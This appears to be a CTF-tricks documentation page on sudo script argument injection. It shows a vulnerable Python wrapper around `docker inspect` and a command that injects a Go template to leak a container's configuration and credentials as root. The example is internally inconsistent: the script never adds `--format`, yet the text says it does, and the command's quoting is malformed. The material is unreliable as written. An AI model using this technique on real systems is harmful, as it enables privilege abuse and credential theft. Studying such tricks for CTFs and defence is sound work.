> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-14/sudo/trick-0027.md).

# Sudo Script Argument Injection

***

Exploiting a script run via `sudo` that takes user-supplied arguments and passes them directly to an internal command (executed as root) without sanitization. This allows injecting parameters or commands into the internal command.

For instance, if `/opt/scripts/system-checkup.py` is runnable via `sudo` and accepts arbitrary arguments (e.g., `sudo /opt/scripts/system-checkup.py *`), and a sub-command like `docker-inspect` passes its arguments directly to an underlying `docker inspect` call run as root, you can inject Docker template code to extract sensitive data.

Consider a Python script like the following, located at `/opt/scripts/system-checkup.py`:

```python
#!/usr/bin/env python3
import sys
import subprocess

def docker_inspect(args):
    print(f"Running docker inspect with args: {args}")
    # Vulnerable: Directly passing user-supplied args to subprocess
    result = subprocess.run(['docker', 'inspect'] + args, capture_output=True, text=True)
    print(result.stdout)
    print(result.stderr)

def main():
    if len(sys.argv) < 2:
        print("Usage: system-checkup.py <command> [args...]")
        sys.exit(1)

    command = sys.argv[1]
    args = sys.argv[2:]

    if command == "docker-inspect":
        docker_inspect(args)
    elif command == "other-command":
        # ... other command logic ...
        pass
    else:
        print(f"Unknown command: {command}")
        sys.exit(1)

if __name__ == "__main__":
    main()
```

In this script, the `docker_inspect` function takes arbitrary arguments (`args`) and passes them directly to `subprocess.run(['docker', 'inspect'] + args, ...)`. If this script is run with `sudo`, the `docker inspect` command will execute as root. The `subprocess` module is generally safer than older functions like `os.system` because it avoids invoking a shell by default when passed a list of arguments. However, passing user-controlled input directly to the command or its arguments without proper sanitization can still lead to command injection vulnerabilities, even when using a list, as the content of the arguments themselves can be malicious.

This allows injecting parameters or template strings into the `docker inspect` command. The `docker inspect` command supports a `--format` flag which allows you to specify a Go template to format the output. This is incredibly powerful for extracting specific pieces of information from the detailed JSON output of the inspect command.

For example, to leak the container configuration using a format string:

```bash
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '\'{{json .Config}}\' gitea
```

This command calls the `docker-inspect` function within the Python script, injecting `\'{{json .Config}}\'` as a template argument and specifying the container `gitea`. The script then executes `docker inspect --format '\'{{json .Config}}\'' gitea` as root, leaking the container's configuration, potentially including credentials.
